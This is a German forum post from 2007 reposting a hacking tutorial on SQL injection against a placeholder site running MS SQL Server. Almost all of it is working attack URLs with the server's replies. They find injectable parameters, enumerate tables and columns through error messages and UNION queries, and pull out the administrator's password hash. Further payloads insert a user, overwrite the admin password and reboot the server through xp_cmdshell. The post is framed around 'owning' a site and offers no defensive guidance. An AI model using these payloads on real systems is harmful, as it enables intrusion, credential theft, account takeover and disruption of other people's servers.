[Hacking] SQL Injection

Dieses Thema im Forum "Security Tutorials" wurde erstellt von Lynx, 22. September 2007 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 22. September 2007
    SQL Injection

    Erstmal vvorneweg das Tutorial ist nicht von mir, darf aber laut Ersteller frei verbreitet werden wenn man dau schreibt, dass es nicht von einem selbst geschrieben wurde.
    Außerdem würde ich mich über eine Bw freuen

    1. Einleitung
    SQL Injection bezeichnet eine Lücke, durch die ein Angreifer beliebige SQL-Befehle ausführen kann.
    Theoretisch können ASP, CGI, PHP, JSP o.ä. Scripts solche Lücken enthalten.
    Angenommen wir wollen eine Website namens www.site.de ownen. Gehen wir davon aus, dass die Mainpage index.php heißt, also wäre der link zum PHP-Script:
    http://www.site.de/index.php


    2. Verwundbare Parameter finden
    2.1 GET Parameter
    Unser Ziel ist es jetzt, mit einem verwundbaren Parameter einen SQL Error hervorzurufen.
    Parameter werden mit einem ‚?’ angehängt. Sind mehrere Parameter im Request, werden weitere mit einem ‚&’ angehängt. z.B.:
    http://www.site.de/index.php?pageid=7&Nav=1
    Parameter die in der URL sichtbar sind, sind GET Parameter
    versuchen wir nun die 7 mit einem mit einem SQL-üblichen Zeichen wie z.B.: ' zu ersetzen.
    Wir stellen in diesem Fall fest dass die Page vielleicht anders angezeigt wird, aber kein SQL Error zu sehen ist. Das gleiche gilt auch für den Parameter „Nav“.
    Angenommen wir stoßen nach weiterem Suchen auf die URL
    http://www.site.de/index.php?Sort=az
    und versuchen „az“ mit einem ' zu Ersetzen. Und? Was spuckt unser Browser aus?
    Vielleicht so was Ähnliches wie dies:
    Microsoft OLE DB Provider for SQL Server- Fehler '80040e14'
    Ungültiger Spaltenname“ '“'.
    /index.php, line 24
    (Anmerkung: an der Fehlermeldung kann man z.B. auch erkennen dass es sich hier um einen MS SQL Server handelt.)

    Wenn es gelingt, einen „Invalid column name“ error (ungültiger Spaltenname) zu finden, ist dieser Parameter verwundbar.

    2.2 POST Parameter
    Neben den GET Parametern gibt es noch die POST Parameter.
    Diese kommen häufig bei Logins und Suchen vor und können auch verwundbar sein.
    Die einfachste Lösung, POST Requests zu bearbeiten ist das Firefox-Plugin „Tamper Data“. (wer googlen kann ist hier klar im Vorteil )
    Im Endeffekt gilt für die POST Parameter das gleiche wie schon in 2.1 für die GET Parameter beschrieben.

    3. Spalten
    Nun müssen wir erstmal wissen, welche Spalten die PHP verwendet (wichtig für später; siehe 4. Statements mit UNION). Um die erste Spalte herauszufinden, hängen wir ein kleines HAVING 1=1 an. Der ' wird für alle weiteren statements weitergeführt.
    Die beiden - läuten einen Kommentar ein, womit alles weitere ignoriert wird:
    http://www.site.de/index.php?Sort='%20HAVING%201=1--
    Als Antwort vom Server:
    Microsoft OLE DB Provider for SQL Server- Fehler '80040e14’
    Die online.a1-Spalte ist in der Auswahlliste ungültig, da sie nicht in einer Aggregatfunktion enthalten und keine GROUP BY-Klausel vorhanden ist.
    /index.php, line 24
    Das bedeutet, dass im Script ein SQL Befehl steht, dass den Wert aus der a1-Spalte ausliest.
    Auch kann man mit großer Wahrscheinlichkeit vermuten (nicht 100%), dass der Name der Table in diesem Fall „online“ lautet.
    Nun müssen wir die Anzahl der Spalten, auf die das Script zugreift, herausfinden (wegen dem UNION statement). Dazu bedient man sich eines GROUP BY statements und hängt an den Schluss wieder „HAVING 1=1--“an:
    http://www.site.de/index.php?Sort='%20GROUP%20BY%20online.a1%20HAVING%201=1--
    Antwort:
    Die online.b5-Spalte ist in der Auswahlliste ungültig, da sie nicht in einer Aggregatfunktion enthalten und keine GROUP BY-Klausel vorhanden ist.
    /index.php, line 24

    Jetzt haben wir den 2. Spaltennamen. Er lautet in diesem Beispiel „b5“ und er wird im folgenden Request mit einem Komma an den Vorangehenden angehängt.
    http://www.site.de/index.php?Sort='%20GROUP%20BY%20online.a1,online.b5%20HAVING%201=1--
    Antwort:
    Die online.c3-Spalte ist in der Auswahlliste ungültig, da sie nicht in einer Aggregatfunktion enthalten und keine GROUP BY-Klausel vorhanden ist.
    /index.php, line 24

    Der 3. Spaltenname lautet: „c3“. Weiter geht’s:
    http://www.site.de/index.php?Sort='%20GROUP%20BY%20online.a1,online.b5,online.c3%20HAVING%201=1--
    Antwort:
    Die online.d7-Spalte ist in der Auswahlliste ungültig, da sie nicht in einer Aggregatfunktion enthalten und keine GROUP BY-Klausel vorhanden ist.
    /index.php, line 24

    ………

    Das ganze macht man jetzt, bis die Page wieder ohne einen SQL Error angezeigt wird. Nehmen wir an, das Script greift auf 7 Spalten zu: a1, b5, c3, d7, e2, f6, g4
    Das bedeutet, dass UNION statements hier immer 7 Glieder enthalten müssen.


    4. Statements mit UNION
    4.1 Tables herausfinden
    Da wir mittlerweile die Anzahl der Spalten wissen, können wir nun UNION statements über die index.php machen. Da es sich hier um einen MS SQL Server handelt, werden die Namen der Tables in der Table „INFORMATION_SCHEMA.TABLES“ gespeichert. Zunächst wollen wir den Namen der 1. Table wissen:
    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES--
    (Anmerkung: Zwischen TABLE und NAME steht ein „_“ und kein Leerzeichen)

    Der Server ist natürlich so freundlich und teilt uns dem Namen mit (hier: „Info“):
    Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Info' in eine Spalte vom Datentyp int.
    /index.php, line 24
    Um den Namen der 2. Table herauszufinden machen wir folgendes:
    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_NAME%20NOT%20IN%20('Info')--
    Antwort:
    Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Suchbegriffe' in eine Spalte vom Datentyp int.
    /index.php, line 24

    Name der 2. Table: „Suchbegriffe“. Weiter geht’s:
    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME,TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_NAME%20NOT%20IN%20('Info','Suchbegriffe’)--
    Antwort:
    Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Benutzerdaten' in eine Spalte vom Datentyp int.
    /index.php, line 24

    Das is ja mal ne Interessante Table
    Wenn ihr die Namen der weiteren Tables herausfinden wollt, wisst ihr was ihr zu machen habt. (schaut auch einfach die URLs, die 10 Zeilen weiter oben stehen, an)


    4.2 Spalten herausfinden
    Wir wollen jetzt die Spalten der Table „Benutzerdaten“ herausfinden.
    Das geht folgendermaßen:
    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdaten'--
    Antwort:
    Syntaxfehler beim Konvertieren des nvarchar-Wertes 'ID' in eine Spalte vom Datentyp int.
    /index.php, line 24

    Die 1. Spalte der Table „Benutzerdaten“ heißt also „ID“. Weiter geht’s:
    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdaten'%20AND%20COLUMN_NAME%20NOT%20IN%20('ID')--

    Antwort:
    Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Username' in eine Spalte vom Datentyp int.
    /index.php, line 24

    Endlich mal interessante Spaltennamen….

    Weiter geht’s:
    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdaten'%20AND%20COLUMN_NAME%20NOT%20IN%20('ID','Username')--
    Antwort:
    Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Passwort' in eine Spalte vom Datentyp int.
    /index.php, line 24

    hm….
    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdaten'%20AND%20COLUMN_NAME%20NOT%20IN%20('ID','Username','Passwort')--
    Antwort:
    Syntaxfehler beim Konvertieren des nvarchar-Wertes 'Email' in eine Spalte vom Datentyp int.
    /index.php, line 24

    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,COLUMN_NAME%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME='Benutzerdaten'%20AND%20COLUMN_NAME%20NOT%20IN%20('ID','Username','Passwort','Email')--

    Nehmen wir an, die Seite wird jetzt wieder normal (ohne SQL error) angezeigt. Nun wissen wir, dass die Table „Benutzerdaten“ 4 Spalten hat: ID, Username, Passwort, Email.


    4.3 Werte herausfinden
    Jetzt wollen wir den obersten Benutzernamen wissen:
    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20Username,Username,Username,Username,Username,Username,Username%20FROM%20Benutzerdaten--
    Antwort:
    Syntaxfehler beim Konvertieren des varchar-Wertes 'Administrator' in eine Spalte vom Datentyp int.
    /index.php, line 24

    Natürlich könnten wir jetzt noch die anderen Benutzernamen herausfinden, aber das Passwort vom Admin interessiert uns natürlich mehr

    http://www.site.de/index.php?Sort='%20UNION%20SELECT%20TOP%201%20Passwort,Passwort,Passwort,Passwort,Passwort,Passwort,Passwort%20FROM%20Benutzerdaten%20WHERE%20Username='Administrator'--

    Antwort:
    Syntaxfehler beim Konvertieren des varchar-Wertes '4131f6d97da637475b0fc87cd5def36c' in eine Spalte vom Datentyp int.
    /index.php, line 24
    Sieht das nicht aus wie ein MD5-Hash? ^^
    Also schnell cracken und einloggen. Der Hash ist einfach zu knacken, aber es soll ja auch Admins geben, die sichere Passwörter haben. Dazu verweise ich auf Abschnitt 5.2

    Am häufigsten ist MD5. Es kann aber auch sein, dass ihr mal auf SHA-1 Hashes oder auf Plaintext (Pw im Klartext) stoßen werdet.


    5. Schreiben
    5.1 Hinzufügen
    Wenn die SQL Database nicht read-only ist, könnt ihr auch was verändern.
    Um einen neuen Eintrag anzulegen müsst ihr die Spaltennamen der Table wissen (siehe 4.2).
    Wenn ihr z.B. einen neuen Benutzer mit dem Namen „NewUser“ und dem Passwort „test“ anlegen wollt, sieht dies im folgenden Fall so aus:
    http://www.site.de/index.php?Sort='%20INSERT%20INTO%20'Benutzerdaten'%20('ID',%20'Username',%20'Passwort'%20'Email')%20VALUES%20(1337,'NewUser','098f6bcd4621d373cade4e832627b4f6','ab@c.de')--
    Wenn alles richtig funktioniert hat, bekommt ihr keinen SQL Error und die Page wird normal angezeigt.


    5.2 Verändern
    Ihr könnt einen Hash nicht cracken, wollt euch aber unbedingt unter diesem User einloggen?
    Die Lösung ist ganz einfach.
    Erst denkt ihr euch ein Passwort aus und generiert euch den passenden Hash dazu (in diesem Fall der MD5 von „test“: 098f6bcd4621d373cade4e832627b4f6).
    Dann ersetzt ihr das alte Passwort durch das neue:
    http://www.site.de/index.php?Sort='%20UPDATE%20'Benutzerdaten'%20SET%20'Passwort'%20=%20'098f6bcd4621d373cade4e832627b4f6'%20WHERE%20Username='Administrator'--
    Wenn alles gepasst hat, bekommt ihr auch hier keinen SQL Error und die Page wird normal angezeigt. Jetzt könnt ihr euch als „Administrator“ mit dem Passwort „test“ einloggen.
    Ich empfehle mal das Passwort später wieder auf den alten Wert zurückzusetzen



    6. Befehle ausführen
    Bei einem MS SQL Server könnt ihr mit xp_cmdshell, wenn es EXECUTE Berechtigung hat, Befehle ausführen. Zum Beispiel einen Neustart:
    http://www.site.de/index.php?Sort=';%20exec%20master..xp_cmdshell%20'shutdown%20-r'--
    Wenn die Berechtigung fehlt, teilt euch dies der Server durch einen SQL Error mit.
    Ansonsten macht der Server mal schnell einen Neustart.
    Was ihr dann noch so alles damit machen könnt, erwähn ich hier lieber nicht

    Bw wäre nice

    Lynx
     
  2. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.